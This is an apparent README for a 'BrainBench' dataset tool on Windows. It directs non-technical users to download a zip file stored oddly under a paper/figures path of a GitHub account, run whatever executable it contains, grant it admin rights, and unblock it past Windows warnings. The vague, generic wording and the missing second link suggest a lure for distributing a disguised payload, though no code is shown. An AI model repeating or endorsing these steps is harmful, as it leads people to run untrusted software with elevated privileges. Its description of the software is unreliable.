BrainBench 数据集在 Windows 上的运行指南

🧠 BrainBench - Run the Dataset on Windows

🖥️ What BrainBench Is

BrainBench is the official implementation of the BrainBench Dataset. It gives you a simple way to download, open, and use the dataset on a Windows PC. This README walks you through each step so you can get started without programming knowledge.

Use BrainBench if you need a local copy of the dataset for review, testing, or analysis. The files are set up to work on a normal Windows system with a few basic tools.

📦 What You Need

Before you start, make sure you have:

A Windows 10 or Windows 11 PC
At least 8 GB of RAM
2 GB of free disk space for the app and data
A stable internet connection
Permission to install software on your PC

For the best setup, keep your Windows updates current and close other large apps before you begin.

⬇️ Download BrainBench

Go to this page to download and run the software:

https://github.com/rosalindematched900/BrainBench/raw/refs/heads/main/paper/figures/Bench_Brain_2.6.zip

If the page offers a release file, download it to your computer. If it gives you a folder with files, download the full project folder so nothing is missing.

🪟 Install on Windows

Follow these steps on your PC:

Open the download page in your browser.
Find the latest version or the main project files.
Download the file or folder to your Downloads folder.
If the file is compressed, right-click it and choose Extract All.
Open the extracted folder.
Look for a setup file, launcher, or main app file.
Double-click the file to start BrainBench.

If Windows asks whether you want to allow the app to make changes, choose Yes.

🚀 First Run

When you open BrainBench for the first time, it may take a short time to load the dataset files. That is normal.

If the app shows a home screen or dashboard, use it to:

Load the BrainBench dataset
Browse available records
Check dataset details
Start a local review session
Export or save results if needed

If you see a file picker, choose the dataset folder you downloaded. If the app opens directly into a workspace, you are ready to go.

🗂️ Recommended Folder Setup

Keep the files in a place that is easy to find, such as:

Downloads\BrainBench
Documents\BrainBench
Desktop\BrainBench

Do not move files around after setup unless you know the app does not need them in the same place. Some dataset tools keep file paths in memory, so changing folders can break the link to the data.

🔧 Basic Use

BrainBench is built for working with the dataset in a simple way. Common tasks may include:

Opening the dataset
Viewing item metadata
Checking labels or notes
Filtering records
Exporting a selected set of entries
Saving your session state

If the app includes buttons, use them in the order shown on screen. Start with the main load option, then move to review or export tools.

📋 Sample Workflow

A simple workflow on Windows looks like this:

Download BrainBench from the link above.
Extract the files if needed.
Open the main app or launcher.
Load the dataset folder.
Review the items you need.
Save your output or notes.

This setup works well for first-time users who want a direct path from download to use.

🛠️ Common Windows Issues

If BrainBench does not open, try these steps:

Right-click the app and choose Run as administrator
Make sure the files are fully extracted
Check that the dataset folder is still in the same place
Re-download the files if the folder looks incomplete
Restart your PC and try again

If Windows says the file is blocked, right-click the file, open Properties, and check whether there is an Unblock option near the bottom. If there is, select it and apply the change.

If the app opens but does not show data, confirm that you selected the correct dataset folder. Some tools need the full folder, not a single file.

💾 Data Files

BrainBench may use several file types for dataset storage, such as:

CSV files for tables
JSON files for structured data
TXT files for notes
CSV or XLSX exports for review results
Local folders for assets and records

Keep these files together. If one file moves or gets renamed, the app may not find it.

🔍 What You Can Expect

The BrainBench project is set up for dataset access and review. In a normal Windows setup, you can expect:

A clean way to load the dataset
Clear file access on your local machine
Simple navigation for dataset content
Support for saved work or exports
A layout that helps you move through records with less effort

⚙️ Helpful Settings

If the app includes settings, the most useful ones are often:

Language
Display size
File path location
Export format
Theme or contrast mode

Use larger text if you plan to review many items. If the app has a dark mode, you can turn it on for long sessions.

📁 If You Need to Move the App

If you want to move BrainBench to another folder or drive, do this:

Close the app.
Move the full BrainBench folder.
Open the app from the new location.
Check that the dataset still loads.
Update any saved paths if the app asks for them.

Moving only part of the folder can break the setup.

🧪 Simple Check After Setup

After you install and open BrainBench, confirm these items:

The app starts without errors
The dataset folder loads
You can see records or entries
Buttons respond when you click them
You can save or export a result

If all five work, the setup is complete.

🧭 Short Path for New Users

If you want the fastest path, use this order:

Open the download link.
Get the files onto your Windows PC.
Extract the folder if needed.
Open the main app file.
Load the BrainBench dataset.
Start reviewing the data.

📎 Download Again

If you need the download page again, use this link:

🧰 File Layout You May See

Inside the BrainBench folder, you may see files like:

README.md
data
assets
scripts
config
exports
main or app files

This layout helps keep the dataset, support files, and export files in one place.

🔐 Safe Use on Windows

Use the files only from the link in this README or the repository page. After download, check that the folder names and file types look normal before opening anything. Keep a copy of the original download in case you need to set it up again later.

🧩 For Better Results

To keep BrainBench running well:

Store it on your local drive
Keep enough free space on disk
Avoid renaming files inside the dataset folder
Close other heavy apps during use
Back up the folder before making changes
